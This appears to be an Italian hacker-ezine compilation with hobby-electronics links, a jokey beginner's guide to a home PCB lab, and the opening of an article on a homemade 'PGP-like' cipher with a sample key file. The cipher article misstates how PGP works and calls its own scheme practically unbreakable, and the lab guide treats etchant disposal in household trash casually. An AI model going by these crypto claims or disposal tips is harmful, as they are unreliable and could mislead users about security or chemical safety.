PC KITS-tutorial page (serial port, RS-232)
http://www.ctv.es/pckits/tpserie.html
Weeder Technologies
http://www.weedtech.com/
Welcome to Velleman Electronics, Kits, Tools and Equipment
http://www.velleman.be/index2.htm
Futura Elettronica
http://www.futuranet.it
GPE
http://www.gpekit.com

Siti amatoriali ne esistono una marea, ok, lo so, ma qui sotto trovate quelli che mi sono piaciuti di più e che mi hanno insegnato di + ...

Almost All Digital Electronics
http://www.aade.com/
Cryochem9's Grid
http://members.tripod.com/Cryochem9/grid1.html
Datasheets & elettronica
http://www.netsys.it/vins/indir2.htm
Diana's Electronics Info Page
http://members.tripod.com/~schematics/electro.htm
Dick Perron's Hardware Information page
http://www.gw.total-web.net/~dperr/pc_hdwe.htm
Digital PC Oscilloscope
http://www.ee.washington.edu/conselec/CE/sp95reports/guterman/final/scope1.htm
Don Lancaster's GURU'S LAIR home page
http://www.tinaja.com/
Dr. Bob's Electronic Resource
http://www.drbob.net/
Electronics OnRamp
http://members.xoom.com/jimas/tronics.html
Elettronica hobby and Ham-Radio Keyer by i2viu
http://freeweb.aspide.it/freeweb/i2viu/
EmulST62 Main Page
by Tomasini Paolo
http://members.xoom.com/emulst62/
GameSX , Video Game Tech
http://www.gamesx.com/index2.htm
Hobby Elettronica Sito Free.....
http://www.geocities.com/SiliconValley/Bay/1256/
Home of PcGenerator ,EpromProgrammer,Pic24C and more
http://www.willem.org/
Home Page di DE SANTIS DANIELE (vb e rs232)
http://www.archimedianet.it/ddesantis/
Home-made EPROM gear
http://dustbin.virtualave.net/circuits/epromgear.html
Homemade Hobby Electronics Emporium
http://www.kent.net/~boucher/index.htm#mainmenu
IK7NXQ home page electronics
http://www.geocities.com/CapeCanaveral/6369/electronics.html
IK7NXQ home page Sci.Electronics.Repair FAQ index in italiano
http://www.geocities.com/CapeCanaveral/6369/F_Repair_it.html
Introduction to Diana's Electronics Info Page
http://members.tripod.com/~schematics/index.html
La paginina di VincenzoV
http://www.freeweb.org/hobby/VincenzoV/
N64 controller interface
http://www.st-hans.de/N64.htm
Paolo Palmerii'S Home Pages
http://members.xoom.it/pal-merii/index.htm
Resource in Italiano
http://www.synapsis.it/UW/stefanon/
Shaun's Basic Stamp II Page
http://www.geocities.com/SiliconValley/Orchard/6633/index.html
The VTC IEEE-ISA Club Home Page
http://dawn.vtc.vsc.edu/clubs/ieee/
Welcome to the HOBBY ELECTRONICS home page!
http://www.hobby-electronics.com/
WE-MAN! 's Electro Stuff
http://margo.student.utwente.nl/el/

E per chiudere in bellezza vi consiglio un giro qui, la mia passione sfrenata , la mia fonte di meraviglia : i palyer di mp3 fatti in casa!!!

CAJUN Car Audio Jukebox
http://www.cajun.nu/
CarMP3 Links!
http://www.javanet.com/~marceau/carmp3/
InMotion Car MP3 Player
http://www.jarcom.com/inmotion/
Mp3 Car Webring
http://nav.webring.com/cgi-bin/navcgi?ring=mp3car;list
MP3Kit(tm).com
http://www.mp3kit.com/
SoundBastard public domain mp3 decoder
http://pages.hotbot.com/cooking/anton_verheijen/main.html

Dato che adesso ho sonno, vado a dormire...
Vi lascio con una bella riga di links da vedere, da esaminare, da mirrorare!
Unico consiglio: ordinate tutto ciò che è free (sia cataloghi che sample ovvero prodotti omaggio in quantità limitate).
A me personalmente è arrivato tutto dai cd ai cataloghi ai chip...
Non mi resta che salutarvi ed augurarvi buona navigazione, ma prima di finire sono necessarii i saluti!
Quindi saluto tutti i fratellini SpiPPoLaTori, tutte le crew italiane (s0ftpj, Newbies,Attila_Hack,A.i.S e tutti quelli che mi sono sicuramente dimenticato) e tutti coloro i quali mi hanno aiutato e mi aiutano ogni giorno a migliorarmi ed a migliorare sia la mia conoscenza sia il mio carattere di merda...

Per chi si fosse perso le prime lezioni....
parte 1 : attrezzatura di base
Wannabe numero 0 www.attilahack.cjb.net
parte 2 : costruire un fotoincisore
A.I.S numero 1 http://aisprod.tsx.org
parte 3 : come incidere i circuiti in maniera veloce
su qualche ezine (giuro che non ricordo + a chi lo ho mandato...)
Piccola nota...
La parte 3 la ho inviata a qualcuno di qualche ezine, non so più a chi, quindi appena possibile lo inserirò in Netrunners , la ezine del gruppo SpiPPoLaTorI , reperibile su www.spippolatori.com , a costo di fare un doppione...
La mia memoria non è più quella di una volta...

Per chiarimenti sono reperibile a rigormortem@spippolatori.com
Salutoni,
RigoR MorteM/SpiPPoLaTorI 98-99-2k


#---[Come ti divento Elettronico]------------------------------------+RigoR MorteM+---#

Come ti divento elettronico
ovvero come trasformare la vostra camera in un laboratorio!

Musica ascoltata :

Cazzo : E...Iaculo Ergo Sum
Nocturnal Rites : The sacred Talisman
The chemical Brothers : Dig your Own hole
Death SS : Black mess

(si ringrazia Harlok di Spaghetti per aver fornito la colonna sonora, i vicini invece vorrebbero conoscerlo di persona :->>)


Anzitutto devo fare le mie scuse a BoBo, al quale avevo promesso di fare un'articolo ma mi sono tremendamente dimenticato.Per farmi perdonare da lui e da tutta la crew (che saluto ciao ciao!) ho creato un piccolo vademecum su cosa un vero wannabe elettronico dovrebbe avere nella sua camera degli esperimenti.Tale camera di solito corrisponde alla camera del computer che a sua volta è la camera da letto.Chissà perchè mia madre non apprezza il mio ordine in camera?
Mah...
Non è che ho molto altro da dire se non che ho cercato di scrivere una cosa chiara e,sopratutto, di basso costo per tutti coloro i quali intendono avvicinarsi all'elettronica ma la pensano costosa.Alla fine troverete anche la sezione 'per i ricchi' ma anche quella è stata fatta in un'ottica molto 'genovese' come me , ovvero al risparmio!!!
Cmq, cari wannabe, ecco un testo che io, agli albori ho sempre cercato e mai trovato, sono andato avanti per tentativi e per inculate, spero di risparmiarne almeno qualcuna a voi!
E ricordate : le fiere dell'elettronica usata sono il meglio possibile se volete iniziare!
Tanta scelta, tanto metriale, spesso usato, a cifre irrisorie!
Ed ora, si vada ad iniziare , ma mistura vi vo a spiegare:

-Saldatore (20-25Watt di potenza) 18-25.000 lire

Questo è l'unico attrezzo irrinunciabile per iniziare e non lo potete sostituire con nulla!
Vanno bene tutti i modelli a stilo (ovvero che si impugnao come una penna) per iniziare , sconsiglio quelli a pistola (costano la stessa cifra,sono più scomodi da maneggiare ed hanno potenze superiori).Se poi siete disposti a spendere qualcosina in più compratevi magari un porta saldatore (dalle 8.000 alle 15.000, con o senza spugnetta per pulire la punta del saldatore)o fate come me:usate un posacenere!
Altra cosa: con poche lire in più (10.000 circa) comprate un saldatore che abbia le punte intercambiabili, non si sa mai che torni utile...

-Stagno (sezione 1mm o meno) 1.600-5.000 lire

Anche per questo, beh, non ne potete fare a meno!
In commercio trovate stagno in tubetti da 50 grammi fino alle mega confezioni da 1Kg, a voi la scelta, anche se io ritengo che il miglior rapporto quantità/prezzo è il rocchetto da 500 grammi.Assicuratevi che lo stagno che comprate abbia della pasta dissaldante all'interno,ciò vi faciliterà la rimozione delle saldature venute male nonchè isolerà le saldature adiacenti.

-Tronchesino (a punta dritta o curva)

Beh, di questo ne potete fare a meno, in alternativa potete usare uno di quei tagliaunghie che vendono i marocchini a 5.000 lire oppure le forbici, ma è molto più comodo un tronchesino.Il prezzo va dalle 6.350 lira (alla Standa) fino alle 25.000 dei tronchesini della Usag dal ferramenta, a voi la scelta.Tenete presente che per iniziare è meglio disporre di un tronchesino a punta dritta.

-Pinze (a becchi dritti o curvi)

Vale lo stesso discorso del tronchesino, ne potere fare a meno,ma perchè privarvi di alcune comodità?
Se decidete per l'acquisto prendetene uno con i becchi dritti e con molla, ne apprezzerete la comodità quando dovrete piegare i cmponenti!In alternativa potete usare le dita per piegare i componenti, ma per tenere i pezzi da dissaldare non è il massimo usare le dita, visto che la temperatura supera spesso i 100 gradi.Avete le mani di amianto?


-Cacciavite antiinduttivo

Questo piccolo attrezzo è un cacciavite di plastica a taglio e viene usato per tarare i componenti dei circuiti che in radiofrequenza, tipo le microspie.La particolarità di questo cacciavite, ed il suo pregio rispetto ad uno in metallo è il fatto che non conduce elettricità e quindi non falsa la taratura del circuito con la sua massa.Costa circa 2.000 lire nella versione più 'povera' e 15.000 nella versione 'lusso' ed ha la strana capacità di restare in giro per i cassetti fino al giorno che non vi serve, per poi sparire inspiegabilmente nel momento esatto nel quale ne avrete un bisogno disperato.Tenetelo sempre attaccato al bordo del cassetto con un pezzo di nastro isolante!


-Basetta millefori

Serve per il montaggio di prototipi di circuiti ma voi la potete usare per provare a saldare alcuni componenti, tanto per prendere confidenza con il saldatore e con lo stagno.Costa da 1.600 lira a 8.500 lire,a seconda della dimensione.
Piccola nota per le vostre amiche o conoscenti:le basette di misura 7*10 cm sono ottime per la realizzazione di regalini di Natale creati con la tecnica del punto croce.Sul serio , non sto scherzando!
Ieri mi è toccato comprare 20 basette di queste dimensioni per la mia ragazza,e quando ho detto al negoziante mio amico a cosa mi servivano, beh, mi ha sfottuto a morte, però devo dire che il primo regalino fatto con la tattica puntocorce/basettamillefori è venuto davvero bene!

-Terza Mano (con o senza lente)

Altro non è che un supporto con 2 o più pinzette a molla per sorreggere la basetta ed i componenti durante il montaggio.Le versioni più chic hanno anche in dotazione una lente orientabile, non è strettamente necessaria ma può sempre servire.
Comunque, dato il basso costo (dalle 9.000 alle 14.000 lire) vi consiglio caldamente di comprarla!
Per risparmiare potete sempre usare un paio di mollette da bucato (consiglio quelle vecchie in legno) tenute insieme con un'intelaiatura di filo di ferro.L'aspetto non sarà dei migliori ma funziona!

-Tester

Beh,oddio, non è che sia indispensabile, ma vi da un grosso aiuto, specie se siete agli inizi.
Un tester vi serve per una valanga di cose: riconoscere il valore delle resistenze senza sapere a memoria lo schema dei colori (che prima o poi vi spiegherò),misurare voltaggi ed amperaggi in corrente continua ed alternata, provare casse acustiche o diodi led,sapere se 2 punti di un circuito sono in contatto o meno.
In commercio ne esistono sostanzialmente di due tipi: analogici e digitali.
I tester analogici hanno una semplice scala di valori lungo la quale si muove una lancetta, e tramite un commutatore a rotazione si seleziona la scala dei valori che vogliamo in lettura.Invece i tester digitali non hanno la lancetta ma un display a cristalli liquidi dove si legge il valore, il commutatore è uguale a quello degli strumenti analogici.
Alcune cose utilissime in un tester , per chi inizia, sono il capacimento (per misurare il valore di un condensatore) ed il provatransistor (per sapere se un transistor funziona o meno, oltre che la disposizione dei suoi piedini).Alcuni tester di fascia media hanno anche un termomento incorporato, mente quelli di fascia elevata hanno pure il display grafico ma qui sono soldoni!Tenete presente che i tester hanno un prezzo che va da 15.000 lire per gli analogici a 1.300.000 lire per i digitali fighissimi.Io personalmente ne ho uno senza capacimetro e senza provatransistor e vivo bene.Dato che la mia ragazza me ne ragalerà uno per il mio compleanno regalerò il mio vecchio tester a N0body88 e per me comprerò un tester con tutte le moderne figare (display grafico escluso) alla tremenda cifra di 99.000 lire.Cmq, se non comprate tester di marca conosciuta ieri ne ho visto uno digitale con provatransistor a 25.000 lire.Meditate , gente, meditate!

-Tubetti termorestingenti

Se fate spesso dei lavoretti al volo con diversi fili 'sparsi' oppure se costruite qualcosa da interfacciare al pc e volete le saldature 'a prova di errore' potete usare loro!
Sono dei tubicini di vario diametro che una volta scaldati si restringono del 50 % e vanno messi sopra il filo saldato in modo che coprano anche la saldatura e poi ristretti.Per stringerli potete usare un'accendino Bic con la fiamma stile 'lanciafiamme del Vietnam' per ottenere i migliori risultati.Sono venduti in spezzoni di 1 metro ed in diametri che vanno da 5 millimetri fino a 4 centimetri, con un costo variabile fra le 800 e le 4.000 lire a tubetto.

-Vetronite ramata monofaccia

Qui disegnerete i vostri circuiti!
Perciò vi consiglio di comprare una lastra di vetronite delle dimensioni di 20cm per 30cm in modo da tagliare voi la quantità necessaria senza fare troppi sprechi.Il costo è di 14.500 lire circa.Per tagliare la vetronite potete usare le forbici da giardinaggio, o meglio, le cesoie.

-Pennarello Stabilo OHPen universal nero oppure trasferelli

Vi serve per creare-copiare i circuiti che volete realizzare sula basetta di vetronite ramata.
Il pennarello è più veloce , ma i trasferelli hanno il vantaggio di avere già pronte ed alla spaziatura giusta tutte le piazzole per i circuiti integrati e per le porte a 9 ed a 25 pin.Nella mia zona i trasferelli sono diventati introvabili :-[ Il costo del pennarello è di 3.500 lire , per i trasferibili il costo è di 2.500 lire alla bustina.

-Bacinella di plastica

Vi serve per metterci il circuito da corrodere (ovvero incidere) con l'acido, allo scopo di eliminare il rame in eccesso e lasciare solo le piste disegnate con il pennarello o con i trasferibili.Io personalmente uso le bacinelle di polistirolo dei petti di pollo e dei petti di tacchino, non costano un cazzo e sono facilmente reperibili!

-Acido per l'incisione

Questo è l'elemento base per creare i propri circuiti!
Logico che dovete averlo.Viene venduto in 2 diverse confezioni : in palline o liquido.Solitamente la bustina di palline contiene il cloruro ferrico necessario a 1 litro di soluzione di incisione e costa 4.500 lire.Invece se volete la soluzione già pronta la bottiglia costa circa 12.000 lire.Il liquido esausto (ovvero dopo 1-2 incisioni) va buttato via , ma non nel cesso, vo trovereste magari con le tubature incrostate!L'ideale sarebbe farlo seccare e poi buttarlo nella spazzatura ma se avete un minimo di astuzia nessuno vi vieta di metterlo in una bottiglietta da 0.33 di acqua e di buttarlo tranquillamente nella spazzatura.Piccola cosa importante: se comprate la bustina con le palline e vi preparate la soluzione in casa NON mettetela nella bottiglia dell'acqua o in quella del latte, se lo bevete vi ricoverano !
Usate , come me,il flacone vuoto dell'ACE, sarete così sicuri che non ve lo berrà nessuno.Cazzi vostri se poi vostra madre ne spruzza un po sulla camicia di papà per smacchiarla...
Purtroppo l'acido è di colore marroncino, una volta asciutto è color vomito e non se ne va lavando...

-Punte da trapano

Beh, una volta che avete creato il vostro circuito lo dovete bucare per metterci i componenti.
Le punte di solito sono da 0.8 mm oppure da 1mm , anche se io di preferenza uso bucare prima con le 0.6 e poi ripassare i buchi con le 0.8,in modo da centrare accuratamente il buco sulla piazzola.
Le potete trovare presso qualsiasi negozio di ferramenta al costo variabile fra le 800 e le 3.000 lire cadauna.Se volete un consiglio, compratele di acciaio,durano di più e non si spuntano praticamente mai!

*-* Per i ricchi *-*

-Pompetta dissaldante

Questa è un'altra comodità che io considero praticamente irrinunciabile.La pompetta è a forma di penna con la punta cava in teflon.A circa metà ha un bottone e alla sommità ha un pistone.Schiacciando il pistone si carica la molla ed il bottone si alza.Quando voi appoggiate la punta del saldatore al componente o al grumo di stagno che volete rimuovere,fate sciogliere lo stagno e immediatamente vi mettete la punta della pompetta e premete il bottone.Lo stagno sarà aspirato all'interno e risputato fuori alla successiva pressione del pistone.Questa cosetta costa dalle 15.000 alle 35.000 lire ma come al solito, si può risparmiare.Infatti in commercio c'è anche la famigerata 'treccia di rame' che altro non è che una treccia a 3 capi di filo di rame.L'uso è lo stesso della pompetta , costa meno ma non è così pratica.

-Alimentatore

Questo secondo me è il necessario per avere veramente una buona base e vi servirà sempre.Io ho usato alimentatori di diversi tipi ma ,sicuramente,il più usato è stato il classico 'cubo'.Dai, lo conoscete tutti, quel cubo nero con un filo ed una decina di spinotti per collegarlo al walkman o alla radio.Lo vendono un po da tutte le parti, dal tabacchino come alla Standa, pure i marocchini lo hanno!Il costo si aggira sulle 15/20.000 e vi trovate un alimentatore che per iniziare va più che bene: 1.5-3-4.5-6-9-12 volts , con selezionatore della polarità.
Se poi invece avete qualche soldino in più vi consiglio un'alimentatore da banco con amperaggio e voltaggio regolabili, da 1.5 a 20 Volts e da 100mA a 2 o 3 A.Tenete presente che il costo è di circa 150.000 lirette...
Se invece come me eravate dei drogati di 'Ferrovia Lego' potete riciclare quel trasformatore, che oltretutto ha pure un'uscita variabile :-]

-Trapanino

Vi serve per bucare i circuiti stampati che fate.In commercio pare ne esistano solo da 150.000 lire in su, non fatevi inculare! Ce ne sono di ottimi anche a 38.000 lire come il mio, e si alimentano a 12v, con circa 2 A di potenza.
Logico che un trapano figo (al quale io faccio la voglia) ha il controllo della rotazione e della forza di rotazione , ma costa 180.000 :-[
Beh, vi danno pure le frese per incidere il legno ed il vetro.

-Colonna per il trapanino

L'unica che io abbia mai trovato costa 52.000 lire e non è poi quella gran cosa come pare dal disegno riportato sulla scatola.L'unica soluzione che io abbia trovato è quella di usare la colonna di un trapano 'normale' ma usata.Ne ho vista una presso un negozio di roba usata , ma costa 65.000.Per adesso uso ancora il trapanino con le mani....

-Stampante laser

Logico che non vi dico di comprarla ma solo di poterla usare!
Vi serve per stampare su acetato i disegni di circuiti stampati che farete con il computer.I fogli di acetato costano circa 900 lire cadauno ,chiedete fogli di acetato ma rifiutate i fogli da lucido!
se invece volete copiare un circuito da una rivista la soluzione meno dispendiosa di tempo è quella di farsi fare una fotocopia su acetato, non dovete passare l'immagine allo scanner e poi stamparla.Il tutto al costo di 2.500 lire a copia.
Piccolo consiglio: dal momento che non tutti fanno fotocopie su acetato,compratevene un po di fogli (Buffetti fa sconti per quantità) e portateveli dietro.Esigete sempre prima della stampa su acetato una stampa su carta normale, vi costa 200 lire anzichè 2.500 :-]]]
Ah, con i pennarelli della TDK per scrivere su cd si fanno dei disegni meravigliosi su acetato!
Ovvio che se il circuito è semplice e non vi va di fare una fotocopia potete sempre ricalcarvelo a mano con quei pennarelli.

-Vetronite presensibilizzata positiva

Questo tipo di vetronite vi permette di usarla in un fotoincisore senza prima doverla passare con una spruzzata di fotorivelatore positivo.Viene venduta nelle stesse misure della vetronite normale ma costa un pochino di più.Per esempio , il foglio da 20cm per 30 cm costa 20.000.La parte ramata è protetta da un foglio di carta plasticata o plasitca di colore solitamente nero che va levato in penombra (o sotto luce indiretta) e subito messa nel fotoincisore con sopra la stampa su acetato del circuito che volete realizzare.Per me è stato un ottimo investimento, ne vale la pena, ma dovete fare diversi esperimenti prima di trovare il tempo di esposizione giusto, pena la malriuscita del circuito.

-Fotoincisore

E qui si inizia a fare sul serio!
Con un fotoincisore potete fare quante basette voltete, tutte uguali , in pochissimo tempo!
Il rovescio della medaglia è il costo, ovvero di 350.000 circa.
Se invece avete voglia di provare su www.futuranet.it c'è il kit di costruzione per fotoincisore e le relative lampade.Alla scatola ci dovete pensare voi, io ho risolto con una cassetta di aringhe salate e delle stecche di legno della pancetta salta.Se volete altri particolari vi rimando alla pagina di Anarchy in the System dell'amico Oldirion61 oppure al suo mirror presso www.spippolatori.com ,leggetevi la sua ezine e capirete come lo ho costruito (la prima release laho realizzata in una cassetta di pere...) spendendo 65.000 lire.
Cmq, il fotoincisore vi permette, usando vetronite sensibilizzata positiva, di avere una qualità costante nel tempo.Infatti il circuito che volete produrre lo stampate su acetato, levate la pellicola protettiva dalla vetronite, appoggiate il disegno sulla basetta , accendete la luce del fotoincisore ed aspettate dai 4 ai 10 minuti, tutto dipende dalla distanza della basetta dalla luce, dalla qualità della basetta e dalla presenza o meno della luce esterna.
Tenete presente che la costruzione è comunque facilissima, potete anche farvene uno semza pretese con una cassettadel vino e 4 neon normali, di quelli usati per l'illuminazione casalinga, ma i tempi aumentano di 3-4 volte.Va da se che il costo del fotoincisore della Futura Elettronica rispetto a quello fatto con dei neon normali è di circa il doppio.


-Soda caustica

Beh, si, so che è pericolosa, ma se avete di meglio proponete!
Si usa in soluzione 12 parti su 1000 per sviluppare i circuti fotoincisi prima di passarli nel cloruro ferrico allo scopo di eliminare il velo di presensibilizzante positivo in eccesso sulla basetta.In commercio si trova sia la comune soda caustica che potete diluire voi in acqua sia la soluzione già pronta.Le cautele di manipolazione sono le stesse del cloruro ferrico ma dovete prestare ancora più attenzione al recipiente utilizzato, dato che la soluzione è trasparente e può essere scambiate per comune acqua!!! Se la bevate vi verrà una splendida voce da tracheotomizzato e mangerete pappine per tutta la vita... Il costo della bustina di soda (per 12 grammi di prodotto, ovvero per ottenere 1 litro di soluzione9 è di 2.500 lire.Il costo di un kilo di soda è di 6.000 lire dal ferramenta, ma poi sono cazzi vostri trovare chi vi pesa 12 grammi!
Io non ho trovato nessuno e vado avanti a bustine...Altra piccola cosa: una volta usato il liquido non potete più riciclarlo, pena la parziale sviluppatura del circuito.

-Bacinelle da fotografo

Ma allora i soldini li avete!
Beh, l'unico vantaggio che avrete usando le bacinelle da fotografo è che sono anzitutto inattaccabili dagli acidi e poi hanno il fondo con piccoli rilievi in modo che il circuito non ci si appiccichi.Costano 25.000 lire circa cadauna , ma io resto per i vassoi del petto di tacchino, sono grossi e scanalati nella stessa maniera, ma costano 25.000 in meno!

-Stazione saldante/dissaldante ad aria calda

Beh, ma allora mi prendete per il culo!
Eh si, se volete iniziare a saldare non è che vi sia di grosso aiuto , ma se volete davvero spendere...
Con questo saldatore potete saldare benissimo di tutto controllando con un display la temperatura dell'aria ed in più avete anche un sciogli/succhia stagno davvero professionale.Inutile dire che di hobbysti che la usano ne conosco davvero pochi e che ha un costo da paura! Dalle 650.000 in su, sempre più in alto, fino alla cifra di 3.750.000 lire.
Le versioni davvero fighe hanno pure un pannello aspiratore che depura l'aria dato che lo stagno, fondendosi, sprigiona un'aroma non molto salubre.

-Oscilloscopio

Serve a misurare la forma d'onda dei segnali di un circuito ma in campo hobbystico sono pochi coloro che lo hanno.
Il costo va da 350.000 per quelli portatili ad oltre 20.000.000.Meglio sfruttare l'oscilloscopio di un riparatore di tv!
Infatti gli amici della TvSystem iniziano ad odiarmi :-]]]

E mi fermo qui...
Spero di avervi dato una buona panoramica di cosa vi può servire per iniziare a giocare con lo stagno e le saldature per realizzare magari una cosetta che funziona pure!Prima o poi, su questa zine o su un'altra, a seconda del mio stato mentale, vi scriverò ancora qualcosina sull'elettronica ,su come ottenere cataloghi di materiale utile in maniera gratuita, su come avere componenti gratis e come trovare circuiti on line, oltre ai link verso i migliori software di disegno cad elettronico per Windows.Per adesso vi saluto,voi lettori e tutta la crew dell'Attila_Hack sperando di non avervi annoiato!
Per commenti, soldi, belle ragazze o per 2 chiacchere io sono RigoR MorteM , Webmaster di www.spippolatori.com e sono reperibile via email a rigormortem@spippolatori.com .Le belle ragazze invece possono prima scrivermi , con allegata una foto integrale (nude , arf arf!) e poi venirmi a trovare :->

#---[Deco PgP]-------------------------------------------------------+Master+---------#


DECO PGP
+
END #___#___#
-= Master =- ##SATOR##
SPP MEMBER *** #AREPO#
www.spippolatori.com #TENET#
master@spippolatori.com #OPERA#
######### ########### #ROTAS#
#################################################################################### #
################################################################################### # #
# SISTEMA PERSONALE DI CODIFICA "ALFANUMERICA" A INTERAZIONE TRA CHIAVI MULTIPLE. # #
###################################################################################

L'idea che sta alla base del PGP e' assolutamente innovativa per quanto riguarda la
sicurezza: -cio' che serve alla decifrazione dei messaggi non solo non deve essere
piu' tenuto segreto ma anzi diventa condizione necessaria la sua stessa pubblicazione
da parte di colui che intende ricevere un messaggio segreto in tutta tranquillita'.

Tra i tanti difetti di questo sistema (sempre pochi in relazione ai suoi tanti pregi)
ne risaltano due a mio avviso importanti:

1. il fatto che ogni messaggio cifrato dovrebbe essere trasmesso sempre in linea
diretta tra i due soggetti interlocutori altrimenti si rischia di avere un intermediario
che potrebbe intercettare l'invio delle due chiavi specifiche e quindi passare a
tentativi di decodifica dei messaggi con espedienti lunghi ma relativamente semplici.

2. i cifrati sono sempre uguali.. e questo permette di tentare dei bruteforce operativi
al fine di estrarre le immagini delle chiavi applicate.

Rendere allora i cifrati del pgp sempre e comunque diversi anche rispetto al medesimo
testo cifrato N volte consecutivamente sarebbe un vantaggio non da poco.
La soluzione quindi al difetto numero 2 che per reazione risolverebbe a pie' pari
anche il numero 1.

Quello che segue e' un esempio semplice (ma perfettamente funzionante) di come sarebbe
facilmente possibile e con pochissime righe di programmazione costruirsi un simil PGP
personalizzato con le migliorie di cui parlavamo.


1. e' necessario costruirsi una chiave pubblica e una privata.
Il concetto di chiave pubblica e privata qui e' pero' diverso da pgp.
Le chiavi vengono costruite in base ad un testo prefissato contenente dei dati che
potrebbero essere le generalita' di chi utilizza il sistema ma volendo anche il brano
di un racconto o altro.
Viene creata una lista di numeri random sulla base di un efficiente generatore che
sfrutta una mia personale miglioria ad un algoritmo chiamato "floridiano" col quale
si possono ottenere serie di 2^8000 cifre diverse senza ripetizioni.
Il testo viene sommato e di seguito recifrato all'interno della stessa lista random.
Questo genera il modello delle chiavi .. sia di quella pubblica che di quella privata.

Per la trasmissione di messaggi sara' necessario che tutti gli appartenenti ad un
determinato gruppo posseggano comunemente quella che e' la chiave privata.
Quest'ultima ovviamente andra' gelosamente custodita al riparo da occhi indiscreti.
La chiave pubblica necessaria alla decodifica di un messaggio proveniente da uno dei
membri del gruppo .. o la chiave pubblica specifica per la decodifica di un determinato
messaggio sara' costruita volta volta e distribuita secondo le necessita'.

Cosa fa il programma di diverso da pgp?

0: per prima cosa questo programma NON e' un emulo del PGP .. anzi .. i suoi criteri
teorici di funzionamento si basano su concetti filosoficamente diversi.

1: Innanzitutto cifra i messaggi con l'applicazione di due chiavi successive generate
sulla base dell'algoritmo floridiano per gli pseudocasuali naturali... quindi tutto
viene cifrato una ultima volta col sistema della chiave random di lunghezza infinita.

2: Nel caso specifico sapendo di avere una lista di numeri random non ripetuta lunga
-almeno- 2^8000 cifre si puo' esser certi che anche considerando di voler cifrare
l'intera enciclopedia Treccani tre volte al giorno (cio' in media le stesse volte
al giorno che mia moglie mi dice "no!" :)) ) per un centinaio di anni consecutivi lo si
potrebbe fare ottenendo sempre cifrati diversi.

3: i cifrati non contengono informazioni utili sul carattere e la lunghezza dei
sorgenti usati per la generazione delle chiavi ne informazioni matematiche
-interessanti- relativamente alle chiavi stesse.

4: non c'e' nel cifrato nulla che possa far pensare ad un sistema evoluto di
cifratura, anzi .. il testo viene lasciato nella sua formattazione originale
con le frasi in maiuscolo sempre in chiaro (sono codificate infatti solo le
lettere minuscole i numeri .. le maiuscole sono viste come 'commento')
Cio' induce a pensare ad una semplice e banale applicazione di Rot o di Xor.
A chi conosce parte del mio lavoro passato non potra' sfuggire il fatto che
la base portante di questo programma e' il Deco (cifratore in uso agli spp
per la corrispondenza privata) che sta al prodotto finito esattamente come
l'algoritmo IDEA sta al PGP o il DES agli MC/SEA del PRICOD.

5: la sola applicazione del terzo passaggio di cifratura (la chiave random di
lunghezza infinita) renderebbe il costrutto formale inviolabile a meno di non
pubblicare involontariamente l'algoritmo stesso del generatore.
E' infatti teoricamente impossibile risolvere un cifrato a chiave infinita a meno
che non si conosca quest'ultima o in seconda istanza l'algoritmo che la genera.
Si puo' dire allora che anche un cifrato avente una chiave applicata lunga almeno
quanto il testo stesso rispetti in pratica la stessa regola.

6: le chiavi sono generate con soli caratteri alfanumerici minuscoli al fine
di poter essere trasportate senza problemi all'interno di blocchi di testo
anche solo con copia e incolla.

7: le chiavi sono 'non duplicabili' sulla base del punto 5 e del fatto che vengono
create con lista random di "lunghezza infinita" dal generatore interno e in maniera
sempre diversa.
La duplice creazione di una chiave generata in relazione ad un particolare testo di
header dara' quindi,a sua volta, due file completamente diversi!

8: .. qualche altra differenza magari a vantaggio del pgp ci sara' pure perche'
chi lavora al Mit e' di solito carico di soldi e io invece non ho una lira. :))
[ per inciso al Mit mi hanno pure rifiutato a suo tempo .. hi hi hi ]



NOTA BENE. LA versione che ho accluso a questo articolo permette di usare solo
chiavi a 571 Bytes esatti .. (in memoria al vecchio Deco5 :)) )


..


I due successivi paragrafi di questo tutorial sono:

a. Un esempio pratico applicativo del programma.

b. La spiegazione dei moduli facenti parte del programma stesso.



. - .


-----------------------------------------------------------------------------------
a : Un esempio pratico applicativo.
-----------------------------------------------------------------------------------

Il gruppo Z ha la necessita' di trasferire messaggi segreti ai suoi membri.
I messaggi dovranno essere visibili in luogo pubblico e specificatamente
diretti a un solo membro o a tutta la comunita'.

Tutti i membri (e solo loro) saranno dotati della chiave privata del gruppo.
[necessario per ricevere messaggi personali]

Ogni membro dovra' avere per i messaggi la sua personale chiave privata da lasciare
al gruppo stesso che dovra' tenerla segreta anche agli altri membri.
[necessario per inviare messaggi personali]

Ogni membro (ed anche il gruppo stesso) avra' una chiave pubblica da rendere
nota a tutti .. anche ai non appartenenti al gruppo.
[necessario per ricevere notizie collettive o messaggi da non appartenenti al gruppo]

Fatto questo e non considerando possibili delazioni o buchi nella sicurezza del
gruppo stesso si sa che:

il possesso o il furto da parte di un non-appartenente al gruppo di una della
chiavi inviate per la codifica-decodifica dei messaggi (magari assieme al messaggio
stesso) non sara' di nessuna utilita' per la violazione dei medesimi.

Per creare la chiave privata del gruppo si scrive un file di testo
contenente nella prima riga il nome da attribuire alla chiave privata
seguito dal numero di byte che intenderemo attribuire alla chiave stessa
e da un blocco di testo contenente indicazioni generali sul gruppo.
[ Il blocco di testo successivo al nome-chiave serve solo al generatore
di pseudorandom come inizializzazione.. esattamente come il pgp chiede di
digitare del testo a piacere per usare poi il range di tempo intercorso tra la
pressione di un tasto e un altro. ]

il file di testo del gruppo Z e' il seguente

---------------------------------- file PRI.DAT
chiave.pri 571
GRUPPO Z
Esegeti e ispirati dall'insolito
Via Zuppola, 12
50029 Firenze
Telefono: 055 123456
Fax: 0338 9283421
MOTTO DEL GROUPPO : <Come fosse Antani>
---------------------------------- file PRI.DAT


si crea la chiave a 571 Bytes CHIAVE.PRI col comando:

CREA PRI.DAT


verra' creato il file CHIAVE.PRI.

---------------------------------- file CHIAVE.PRI
INIZIO_CHIAVE__________________
szwlaaxkkdapqrmzlgrgstkfxxsbvtmpzhfunrsddfbppwgloxjetk
fwippybliyinjjyrwqtsntolvtpytdbvoysfsfuldrsgbthznvkdks
osmridzgzewmxotdixenhvhyypjluwkiqnqpoyddtpqmzdooswlkii
vrbhbnrkmihimkoomicjeeeehrswvbmxngaxvvnlhtmcvswnagdpnh
gkwfjdojovibmynzunesymqdpczacusftbyrmifbxinbfcmfzjwsik
bdedqmgjwqaxkryugbzajkmsqgimeeedxrmybyntcspmrihbguixqi
ofpohllsenhabiqmbguicqbrtxrmeesdhyaldsseshpbvbzaiefrhy
qqjjiqxchnnzmlagupekkgwrtqxqibyrzcurpvcezaxjcbdjdahplx
